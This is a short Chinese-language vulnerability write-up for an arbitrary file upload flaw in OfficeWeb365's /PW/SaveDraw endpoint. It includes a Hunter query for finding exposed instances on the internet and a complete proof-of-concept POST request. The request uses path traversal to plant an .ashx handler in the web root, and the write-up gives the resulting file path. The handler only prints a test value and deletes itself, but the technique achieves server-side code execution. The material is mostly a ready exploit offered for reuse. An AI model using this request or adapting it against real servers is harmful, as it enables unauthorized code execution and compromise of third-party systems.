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58 lines
2.1 KiB
Markdown
58 lines
2.1 KiB
Markdown
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# OfficeWeb365 SaveDraw存在任意文件上传漏洞
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# 一、漏洞简介
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OfficeWeb365是西安大西信息科技有限公司开发的，专注于Office文档在线预览及PDF文档在线预览云服务，包括Microsoft Word文档在线预览、Excel表格在线预览、Powerpoint演示文档在线预览，WPS文字处理、WPS表格、WPS演示及Adobe PDF文档在线预览。广泛应用于OA办公系统、招聘网站、在线教育类网站，提高客户体验、增加产品竞争力。OfficeWeb365 /PW/SaveDraw存在任意文件上传漏洞。
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# 二、影响版本
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+ OfficeWeb365
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# 三、资产测绘
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+ hunter：`app.name="OfficeWeb365"`
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+ 登录页面
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# 四、漏洞复现
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```plain
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POST /PW/SaveDraw?path=../../Content/img&idx=11.ashx HTTP/1.1
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Host: xx.xx.xx
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User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36
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Content-Type: application/x-www-form-urlencoded
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data:image/png;base64,<%@ Language="C#" Class="Handler1" %>public class Handler1:System.Web.IHttpHandler
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{
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public void ProcessRequest(System.Web.HttpContext context)
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{
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System.Web.HttpResponse response = context.Response;
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response.Write(44 * 41);
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string filePath = context.Server.MapPath("/") + context.Request.Path;
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if (System.IO.File.Exists(filePath))
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{
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System.IO.File.Delete(filePath);
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}
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}
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public bool IsReusable
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{
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get { return false; }
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}
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}///---
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```
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上传文件位置
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```plain
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/Content/img/UserDraw/drawPW11.ashx
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```
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> 更新: 2024-02-29 23:55:51
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> 原文: <https://www.yuque.com/xiaokp7/ocvun2/ws6vxp637qoycw2u>
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